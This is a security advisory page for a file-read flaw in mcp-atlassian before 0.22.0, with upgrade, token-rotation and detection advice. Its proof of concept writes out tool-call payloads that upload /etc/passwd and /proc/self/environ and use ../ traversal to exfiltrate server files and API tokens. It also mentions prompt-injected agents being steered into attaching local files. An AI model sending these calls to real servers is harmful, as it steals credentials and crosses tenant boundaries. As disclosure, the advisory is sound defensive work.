NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

GHSA-wm45-qh3g-v83f: mcp-atlassian: Arbitrary server-side file read via attachment upload

highCVSS 3.1 7.7

mcp-atlassian before 0.22.0 opens any `file_path` a client gives its attachment-upload tools on the server's own disk and sends the bytes to Confluence or Jira as an attachment. A remote MCP client can pull `/etc/passwd` or `/proc/self/environ` (with the server's Atlassian API tokens) off the host. Upgrade to 0.22.0. Local stdio setups are not exposed in the same way.

Published Jul 10, 2026 · Analysis Nov 1, 2026

What an attacker can do

The upload tools were built to attach a file from the caller's machine. Over HTTP or SSE, the path is resolved on the server. In confluence/attachments.py and jira/attachments.py, upload_attachment runs os.path.abspath(file_path) and then open(file_path, "rb"). That only normalizes the path; it does not confine it. Relative traversal such as ../../../../etc/hostname works too.

Entry points are confluence_upload_attachment, confluence_upload_attachments, and the attachments parameter of jira_update_issue, which is the only Jira route.

The advisory's proof of concept uploads /etc/passwd to a Confluence page, then reads it back through confluence_download_attachment. Uploading /proc/self/environ leaks the server's environment, including JIRA_API_TOKEN and CONFLUENCE_API_TOKEN. The attacker needs only the ability to call MCP tools (low privileges, network). In a multi-tenant deployment this also crosses tenant boundaries.

The advisory says the exposure is specific to remote transports (sse, streamable-http, default bind 0.0.0.0). With stdio, the server runs as the user and reading any path is intended. Note that a prompt-injected agent in a stdio setup can still be steered to attach local files.

Who is affected

The pip package mcp-atlassian at any version below 0.22.0. The risk is highest when the server runs with --transport sse or streamable-http and READ_ONLY_MODE=false, which the advisory's proof of concept uses. Check the version:

pip show mcp-atlassian

If you run it in Docker, check the image tag.

mcp-atlassian

Ecosystem
PyPI
Affected
< 0.22.0
Fixed in
0.22.0
Check
pip show mcp-atlassian

How to fix it

Upgrade to 0.22.0:

pip install --upgrade mcp-atlassian==0.22.0

The 0.22.0 release notes say upload_attachment and download_attachment for Jira and Confluence now run validate_safe_path, so paths must resolve inside the server's working directory. A new content_base64 input lets clients upload from memory instead of a server path. The advisory lists no workaround. Rotate any Atlassian API token that sat on a server exposed over HTTP.

How to tell if you were hit

Look in Confluence pages and Jira issues for attachments you did not expect with names like passwd, environ, hostname or config and key file names. Check the server's MCP request log for confluence_upload_attachment or jira_update_issue calls whose file_path or attachments value points outside the working directory (/etc, /proc, ..). Review Atlassian audit logs for API-token use from unfamiliar IPs after any suspicious upload. Beam records agent MCP tool calls, which would show such a path from a local agent.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

A client that can invoke MCP tools can read arbitrary files from the server host and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied file_path and open() it on the server's filesystem.

The upload tools are meant to attach a file from the caller's environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local stdio deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)

Details

The upload tools read a client-supplied path directly on the server:

  • src/mcp_atlassian/confluence/attachments.py — upload_attachment → _upload_attachment_direct → os.path.abspath(file_path) → open(file_path, "rb")
  • src/mcp_atlassian/jira/attachments.py — upload_attachment → os.path.abspath(file_path) → open(file_path, "rb")

os.path.abspath() only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.

Client-reachable entry points that hit these sinks:

  • confluence_upload_attachment → ConfluenceFetcher.upload_attachment. The file_path field is documented as "absolute … or relative to the current working directory."
  • confluence_upload_attachments → loops over the same sink.
  • jira_update_issue — its attachments parameter (JSON array or comma-separated list of paths) flows through IssuesMixin.update_issue → self.upload_attachments → the Jira sink. There is no standalone jira_upload_attachment tool; jira_update_issue is the only Jira entry point.

PoC

Local reproduction

Extract traversal_upload_attachment_file_read.zip:

# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh
docker compose up -d        # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false
./poc.sh                    # exits 0 on success

Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the /etc/passwd round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.

All calls are issued against the HTTP transport with READ_ONLY_MODE=false (the default).

Step 1 — read /etc/passwd from the server via Confluence upload:

req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" }
← { "message": "Attachment uploaded successfully",
    "attachment": { "success": true, "filename": "passwd", "id": "att<...>" } }

Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read):

req → tools/call confluence_download_attachment { "attachment_id": "att<...>" }
← base64 resource decoding to:
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...

Step 3 — same primitive via the Jira entry point (second sink):

req → tools/call jira_update_issue
      { "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" }
← { "attachment_results": { ... "success": true ... } }

Step 4 — credential disclosure via /proc/self/environ:

req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" }
← success; the resulting "environ" attachment contains the server's env,
  including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.

(os.path.getsize reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.)

Step 5 — relative traversal accepted (no containment):

req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" }
← success — relative paths are resolved and read on the server just like absolute ones.

The uploaded files (passwd, environ, hostname) appear as real attachments on the Confluence page, confirming the server read them off its own host.

Impact

Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. /etc/passwd, /proc/self/environ, application config, key material). Uploading /proc/self/environ discloses the server's environment variables — including the configured JIRA_API_TOKEN / CONFLUENCE_API_TOKEN — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.

The security impact concentrates in remote / HTTP-transport deployments (sse, streamable-http, default bind 0.0.0.0), where the file_path resolves on the server host rather than the client's. In a single-user stdio deployment the path refers to the user's own machine, so there is no boundary crossing.

Credit

Discovered by Francisco Rosales of Manifold Security

Credited to 0xmagic0.

Questions

Am I affected if I run mcp-atlassian over stdio?

The advisory says the boundary crossing is specific to remote transports. Over stdio the server runs as you, so the path refers to your own files. An agent steered by injected text could still attach local files.

What does the attacker get?

Any file the server process can read. The proof of concept shows /etc/passwd and /proc/self/environ, which holds the Jira and Confluence API tokens.

How does 0.22.0 fix it?

Per its release notes, caller paths must resolve inside the server's working directory (validate_safe_path), and content_base64 is available as a path-free upload option.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries